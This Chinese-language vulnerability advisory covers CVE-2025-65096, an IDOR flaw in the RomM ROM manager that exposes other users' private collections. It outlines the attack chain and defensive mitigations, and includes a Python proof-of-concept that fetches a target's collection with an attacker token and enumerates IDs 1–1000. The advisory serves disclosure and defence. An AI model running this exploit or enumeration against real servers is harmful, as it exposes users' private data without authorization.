IPBUF安全漏洞报告
English
CVE-2025-65096 CVSS 4.3 中危

CVE-2025-65096 RomM越权访问漏洞

披露日期: 2025-12-03

漏洞信息

漏洞编号
CVE-2025-65096
漏洞类型
授权绕过/不安全的直接对象引用(IDOR)
CVSS评分
4.3 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
RomM (ROM Manager)

相关标签

授权绕过IDOR越权访问信息泄露RomMAPI安全CVE-2025-65096

漏洞概述

RomM(ROM管理器)是一款用于扫描、丰富、浏览和播放游戏收藏的开源管理工具,提供简洁响应式界面。该漏洞存在于4.4.1之前的版本及4.4.1-beta.2测试版中,允许低权限用户通过直接访问其他用户的收藏ID来读取其私有收藏和智能收藏内容。攻击者利用API接口缺乏所有权验证和公开/私有状态检查的缺陷,在无需目标用户交互的情况下获取敏感数据。此漏洞可能导致用户游戏收藏信息泄露,包括游戏偏好、个人收藏等隐私数据。CVSS评分4.3属于中等严重程度,主要影响系统机密性。

技术细节

漏洞根源在于RomM的API端点在处理收藏请求时,未正确验证当前用户是否有权访问指定的收藏对象。攻击者通过以下步骤利用此漏洞:1) 注册低权限账户并登录系统;2) 通过API获取合法收藏ID或枚举可能的收藏ID范围;3) 直接向API发送请求访问目标收藏ID(如GET /api/collections/{collection_id});4) 系统返回目标用户的私有收藏数据。漏洞代码层面缺少的关键检查包括:用户身份与收藏所有权的映射验证、收藏可见性属性(public/private)的判断、基于角色的访问控制(RBAC)验证。由于API设计信任客户端输入,攻击者可绕过前端界面的访问控制限制。

攻击链分析

STEP 1
步骤1
攻击者注册并登录RomM系统,获取有效的认证令牌(Bearer Token)
STEP 2
步骤2
攻击者通过API接口获取合法用户的收藏ID,或通过枚举方式猜测目标收藏ID
STEP 3
步骤3
攻击者构造恶意请求,直接访问目标收藏ID对应的API端点(如GET /api/collections/{id})
STEP 4
步骤4
系统未验证用户所有权和收藏可见性,直接返回目标用户的私有收藏数据
STEP 5
步骤5
攻击者获取敏感的游戏收藏信息,包括游戏名称、收藏内容、用户偏好等隐私数据

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import json # CVE-2025-65096 PoC - RomM IDOR Vulnerability # Target: RomM < 4.4.1 and 4.4.1-beta.2 TARGET_URL = "http://target-romm-server.com" ATTACKER_TOKEN = "attacker_bearer_token_here" TARGET_COLLECTION_ID = 12345 # Enumerate or guess target collection ID def exploit_idor(): headers = { "Authorization": f"Bearer {ATTACKER_TOKEN}", "Content-Type": "application/json" } # Step 1: Access target user's private collection endpoint = f"{TARGET_URL}/api/collections/{TARGET_COLLECTION_ID}" try: response = requests.get(endpoint, headers=headers, timeout=10) if response.status_code == 200: data = response.json() print(f"[+] Successfully accessed collection {TARGET_COLLECTION_ID}") print(f"[+] Collection data: {json.dumps(data, indent=2)}") return True elif response.status_code == 401: print("[-] Authentication failed") elif response.status_code == 403: print("[-] Access denied - collection is private") else: print(f"[-] Unexpected response: {response.status_code}") return False except requests.RequestException as e: print(f"[-] Request failed: {e}") return False def enumerate_collections(start_id=1, end_id=1000): """Enumerate collection IDs to find private collections""" found_collections = [] for collection_id in range(start_id, end_id + 1): endpoint = f"{TARGET_URL}/api/collections/{collection_id}" headers = {"Authorization": f"Bearer {ATTACKER_TOKEN}"} try: response = requests.get(endpoint, headers=headers, timeout=5) if response.status_code == 200: found_collections.append({ "id": collection_id, "data": response.json() }) print(f"[+] Found accessible collection ID: {collection_id}") except: continue return found_collections if __name__ == "__main__": print("CVE-2025-65096 PoC - RomM IDOR") print("=" * 50) exploit_idor()

影响范围

RomM < 4.4.1
RomM 4.4.1-beta.2

防御指南

临时缓解措施
如果无法立即升级,可通过配置Web应用防火墙(WAF)规则限制对/api/collections/{id}端点的访问频率和模式,同时启用API访问日志监控异常访问行为。建议在反向代理层添加认证验证中间件,确保请求者具有访问目标资源的权限。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表